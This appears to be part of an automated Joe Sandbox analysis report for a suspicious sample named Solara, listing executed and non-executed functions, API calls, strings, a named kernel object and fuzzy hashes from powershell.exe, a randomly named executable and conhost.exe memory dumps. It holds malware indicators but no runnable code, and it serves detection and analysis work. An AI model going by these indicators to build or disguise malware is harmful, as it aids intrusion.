Associated: 00000007.00000002.1534132810.00007FF6289A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.1534170449.00007FF6289AA000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff6284a0000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction ID: 630af235e7fb7f796a78684395ce7e51aa2c52e1c1e13240bac3ed421e8843d5
Opcode Fuzzy Hash: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction Fuzzy Hash: 75B01234D0830986FB002F61DC9135832606B0C740F400032C50C4F352DE7D54404B17

Analysis Process: powershell.exePID: 1532, Parent PID: 5852COMMON

Executed Functions

Function 00007FFAAC23F3EA Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

0fO, xrefs: 00007FFAAC23F583

Memory Dump Source

Source File: 00000008.00000002.1698440189.00007FFAAC23D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC23D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac23d000_powershell.jbxd

Similarity

API ID:
String ID: 0fO
API String ID: 0-167848699
Opcode ID: 9d27ea1479834fc1a118fff5d816605d0981bed3cb37231ad1df4f1b523e5ccc
Instruction ID: b8530b699ddff56fec92a608132e97f1889d8b2e2163fdbef7c94750388c2a9b
Opcode Fuzzy Hash: 9d27ea1479834fc1a118fff5d816605d0981bed3cb37231ad1df4f1b523e5ccc
Instruction Fuzzy Hash: 23514B6650EBC58FE753AB3868655513FB0AF1321070E45EBC188CF2E7E5299C0DC7A2

Function 00007FFAAC35BD58 Relevance: .7, Instructions: 690COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413704029d6677baf32bb250c13ee4f4507ac598c7eea9b05c0a14effaa3c9fe
Instruction ID: 9d45b48135ba9de15faabe9ac7fc4ba01e177becabeeceffcbf705e07052724b
Opcode Fuzzy Hash: 413704029d6677baf32bb250c13ee4f4507ac598c7eea9b05c0a14effaa3c9fe
Instruction Fuzzy Hash: B022D331A18A4D8FEB98DF58C495EA9BBE1FF59304F14416ED04EC7296CA34E846CBD0

Function 00007FFAAC426605 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1701261046.00007FFAAC420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fff4cb0a37fc32de08f643d2124e2c40f283352b5d31110cecb5d7f13834ae
Instruction ID: f0e2a5dff263679429ba651b294ac24454772e0bcb18f652ff953aafdcb5a881
Opcode Fuzzy Hash: 24fff4cb0a37fc32de08f643d2124e2c40f283352b5d31110cecb5d7f13834ae
Instruction Fuzzy Hash: 1BD1466990EBC98FF755EB28881A9F5BFA1EF66214B0841FED04DC7093E918DC09C395

Function 00007FFAAC359FE0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b7b95c2f76ff094f12d44ef049813e8a3bde2693575a5578fba38cc9b99049d
Instruction ID: accf2e088dc0e6d63ab43896d408c0e1093feac4f53074287c108ca495b7e6bd
Opcode Fuzzy Hash: 6b7b95c2f76ff094f12d44ef049813e8a3bde2693575a5578fba38cc9b99049d
Instruction Fuzzy Hash: DA51D76390EBC68FE3025768AC7A8F57FA0DF13255B0C40FBD0C99B1A3E919545987E2

Function 00007FFAAC359D48 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 644c637c9c2aee85d667a491fce84172b1f21b2221b84190259b1f38f87e16af
Instruction ID: 5b7ecaaba38faf9b812c670214b7d1fc4fbe286d4dd58e45c7339d6a75c1edfb
Opcode Fuzzy Hash: 644c637c9c2aee85d667a491fce84172b1f21b2221b84190259b1f38f87e16af
Instruction Fuzzy Hash: 99F0BE3080DA8C8FDB45DF2888199E5BFE0EF26200B0401EBE84DC7061DA65D918D7C1

Function 00007FFAAC424073 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1701261046.00007FFAAC420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a98fc97a751aac22e780b20256cf2bc10a58a90a63d6923551e7a777818268
Instruction ID: e9fc26ace6f6f08644bb8ece3e78bca1c8594b50e072172c6c62e6d5acac8e84
Opcode Fuzzy Hash: b6a98fc97a751aac22e780b20256cf2bc10a58a90a63d6923551e7a777818268
Instruction Fuzzy Hash: 9B517B36A0DE868FF799DB1C841A67477D2DF96214B1840BEC14EC7193ED18EC098388

Function 00007FFAAC424370 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1701261046.00007FFAAC420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac09eccb72ddd08854216dd0043fcf22187d1bd16c55635c2e7587ee502de56
Instruction ID: a8f8af2f1ccdf2edfd8df03f8f9e1d7a00b69e3296fc205cddbd544f5542d611
Opcode Fuzzy Hash: 7ac09eccb72ddd08854216dd0043fcf22187d1bd16c55635c2e7587ee502de56
Instruction Fuzzy Hash: 15412632B0EA898FF7A9D76C94169B47BD1EF42224B0855BAC14EC7593ED18EC1883C5

Function 00007FFAAC359748 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c59a51fd971c40551bdc8d6871a6a43c7879f7e78ba5e2cc5452a804ca5bfd2
Instruction ID: c7fade73fce85c546f1012030fb05df58dd543dd8968b05487f64f1a8c941822
Opcode Fuzzy Hash: 5c59a51fd971c40551bdc8d6871a6a43c7879f7e78ba5e2cc5452a804ca5bfd2
Instruction Fuzzy Hash: A541FE7191CF4C8FEB589F5CA84A6A97BE0FB55311F04816FE04993252DA30A856CBC2

Function 00007FFAAC35B1E5 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a24c8a7c0faa480b13c052b330b77678116c92624ee4790168614126287423
Instruction ID: a3c306c3c72cdfb17cd142dfe174194b098a442227a3fe72bf8f0de8a7a79681
Opcode Fuzzy Hash: f1a24c8a7c0faa480b13c052b330b77678116c92624ee4790168614126287423
Instruction Fuzzy Hash: 8031267080DB8C8EDB55DBA89849AEA7FE4DB57321F04816FD08CC7053D624541AC7A2

Function 00007FFAAC4240BF Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1701261046.00007FFAAC420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb7322ce0f09fce2359d285a2f2c7f18a87822d2d60d8cd15aeabcedd2b9e6ff
Instruction ID: 75fac3090936c77d01ba440952663cf50c48799a169d5962a814b14fe41f66ae
Opcode Fuzzy Hash: bb7322ce0f09fce2359d285a2f2c7f18a87822d2d60d8cd15aeabcedd2b9e6ff
Instruction Fuzzy Hash: D1215C3690FA878FF399DB1C845E53076D2EF52218B4990BAC04EC71E3ED18DC088388

Function 00007FFAAC4243BC Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1701261046.00007FFAAC420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac420000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94bcfefef1b288af357e087e7a1847bda20a733d4f0b20f9b862fed0449ff9a5
Instruction ID: f5fc5d5d70e9feaae07f0d6b9ce2144c3e0653a10b4fbeab9636e8bc37352d0a
Opcode Fuzzy Hash: 94bcfefef1b288af357e087e7a1847bda20a733d4f0b20f9b862fed0449ff9a5
Instruction Fuzzy Hash: B4110636A0E6858FF7A5E728945A9B47BD0EF0231875950F6D05DC7093EE19EC088785

Function 00007FFAAC3533B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: a2b03d6ea09e9dc6ca981751c2fcdba422378a0899b292267955062f3f70c447
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: A701677111CB0C8FD744EF0CE455AA5B7E0FB95364F10056DE58AC3661DA36E882CB45

Function 00007FFAAC35BFC3 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e676b88deb46bb92276d7873ffcb2620f92253ba5664c50bab22f3e5c88293de
Instruction ID: b9778acc04eb86aacff8c4d2d89cdef021fc579f618bcffeb22601011d16be7e
Opcode Fuzzy Hash: e676b88deb46bb92276d7873ffcb2620f92253ba5664c50bab22f3e5c88293de
Instruction Fuzzy Hash: 85F0303275C7044FDB4CAA1CF842DB573D1E799334B10026EE48BC2656D927E8838A85

Function 00007FFAAC35C008 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 833b36e5ac0400503f9dda138b9b0031255c2190ea0a18dc5e69f4cd369d6f2b
Instruction ID: 9ea62193ed485bad2bb3095e90ef9ecba2abb8bc070b817902d37f9b2556e227
Opcode Fuzzy Hash: 833b36e5ac0400503f9dda138b9b0031255c2190ea0a18dc5e69f4cd369d6f2b
Instruction Fuzzy Hash: B5F0373275C6058FDB4CAA1CF442DB573D1EB95324B10416EE48BC2696D917F8868A85

Non-executed Functions

Function 00007FFAAC358B69 Relevance: 6.4, Strings: 5, Instructions: 156COMMON

Download Yara Rule

Strings

L_^?, xrefs: 00007FFAAC358C62
L_^@, xrefs: 00007FFAAC358C6A
L_^7, xrefs: 00007FFAAC358C22
L_^F, xrefs: 00007FFAAC358C8A
L_^8, xrefs: 00007FFAAC358C2A

Memory Dump Source

Source File: 00000008.00000002.1699833399.00007FFAAC350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac350000_powershell.jbxd

Similarity

API ID:
String ID: L_^7$L_^8$L_^?$L_^@$L_^F
API String ID: 0-3711972127
Opcode ID: 39592ec284b65dd03cd07572f9e3ecdc581d1a3bd4dfa3c4944b5edc734cc767
Instruction ID: 4439caebf78c659a4e2720f1a2a318cda827442e619def109a06496288665e9b
Opcode Fuzzy Hash: 39592ec284b65dd03cd07572f9e3ecdc581d1a3bd4dfa3c4944b5edc734cc767
Instruction Fuzzy Hash: 814159A370951549DA013B7CF811DED7740DF9427974881B6D78DCE163ED25708B8AE1

Analysis Process: rdqanwpudvuj.exePID: 7076, Parent PID: 624COMMON

Executed Functions

Function 00007FF65D131140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1581001372.00007FF65D131000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65D130000, based on PE: true

Associated: 00000029.00000002.1580276634.00007FF65D130000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1581399133.00007FF65D13C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1581637637.00007FF65D13F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1585523921.00007FF65D3BE000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1586501055.00007FF65D634000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1586550824.00007FF65D637000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.1586586009.00007FF65D63A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ff65d130000_rdqanwpudvuj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction ID: 2541eae0e2babf385aa73b91a2eb9f320ae0aebffc5a39e9c6dee68fa2106ea1
Opcode Fuzzy Hash: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction Fuzzy Hash: E2B01274D0D34B84EB102F51D84139832716B08740F540430C80CA33D2DF7D50804B10

Analysis Process: conhost.exePID: 5200, Parent PID: 7076COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	897
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenSection.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: OpenSection
String ID:
API String ID: 1950954290-0
Opcode ID: a923caea3aedb3c196ce5840bc68ebf5f285de31d4ada5355376284b378bb800
Instruction ID: f52bb56a26aec6286b1ea6478ff1b17f0c1a3bfdae4c07577ac701bf94f018f1
Opcode Fuzzy Hash: a923caea3aedb3c196ce5840bc68ebf5f285de31d4ada5355376284b378bb800
Instruction Fuzzy Hash: B1F09DB2608B808AEA12DB62F85179A77A1F38C7C0F009929BBC853735DB38C190CB40

Non-executed Functions

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

0, xrefs: 00000001400029E9
X, xrefs: 0000000140002D83
\BaseNamedObjects\qdpnprrzvlcxaaqg, xrefs: 00000001400027D8
`, xrefs: 0000000140002D9B

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\qdpnprrzvlcxaaqg$`
API String ID: 780471329-975928381
Opcode ID: e0318adb0dbd4564b9f192ff8ace1adad8a0fb704a24824db8b439d87ab7a846
Instruction ID: 0ca124f9ffee38d92fc9e5ab9fb194d169faf43235d32241d109a9a9ba303ed6
Opcode Fuzzy Hash: e0318adb0dbd4564b9f192ff8ace1adad8a0fb704a24824db8b439d87ab7a846
Instruction Fuzzy Hash: 35125AB2618BC081E762CB26F8443EAB7A4F789794F414215EBA957BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 3e47b941a18d40a05cf5dbb4c3716eebdba2920780b0a3dae55f15ebab0588eb
Instruction ID: 59287579fd2cbbe1d8a3e4f08483d7eb513d4c53ed15668fa93f54147bc8dcd6
Opcode Fuzzy Hash: 3e47b941a18d40a05cf5dbb4c3716eebdba2920780b0a3dae55f15ebab0588eb
Instruction Fuzzy Hash: D75112F1611A4085FB16EF67F9947EA27A1BB8CBD0F449121FB4E873B2DE3884958700

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

Address %p has no image-section, xrefs: 0000000140001CF4
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 33d5b868e8eebb6b2cff367d03fabe1666b92cc2c7a1d8284b12e8b2d2f01650
Instruction ID: 8fe685864c950126c70aef331d4ef6a473e45b0d851c9b376e186f7e6f8e001c
Opcode Fuzzy Hash: 33d5b868e8eebb6b2cff367d03fabe1666b92cc2c7a1d8284b12e8b2d2f01650
Instruction Fuzzy Hash: F54132B1601A4486FA66DF57F884BE927A0F78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: d08e14779ef784e5b274f9410f1df34d10b7f9b45ed8462817a217195fc6686c
Instruction ID: e40e1da60a1a5d331dd26ba47eda995497d599188102bfe9744f788749b46c7b
Opcode Fuzzy Hash: d08e14779ef784e5b274f9410f1df34d10b7f9b45ed8462817a217195fc6686c
Instruction Fuzzy Hash: B821F5B0305A0192FA6BEB53F9483E823A4BB6CBD0F444121FF5A476B4DB79C986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 35b4906de10c631e66e3b23b94ad5b459cb4b8ee30e741b9a85039f9bcae7566
Instruction ID: 7d6232b93d6e17ed90188a579955942f9e6f6d73f73cd7587163c1a56a44d235
Opcode Fuzzy Hash: 35b4906de10c631e66e3b23b94ad5b459cb4b8ee30e741b9a85039f9bcae7566
Instruction Fuzzy Hash: 592139B1A0150542FA77DA2BB9A03F92192ABCC7E4F258535BF19873F5DF3888C28241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction ID: 78106683dca420d487733eb45b5c7fb140555e26720c20ee5b0ca44718aa059e
Opcode Fuzzy Hash: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction Fuzzy Hash: F05105B6B11544DAEB16CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D
Unknown error, xrefs: 0000000140001824

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2596088889.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596200164.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596242172.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2596323916.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 6e962bcb0f052a0dea548b3bc938a4dc15a218e64a80b598041495bfab8aa735
Instruction ID: 88266abc16e5ce81ea68448ecf712b8cc9874a99fed6f92d18931fad02326cff
Opcode Fuzzy Hash: 6e962bcb0f052a0dea548b3bc938a4dc15a218e64a80b598041495bfab8aa735
Instruction Fuzzy Hash: 79F09671A14A4482E612EF6AB9417EDA361E75D7C1F50D211FF4DA76A1DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000040.00000002.2596139121.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

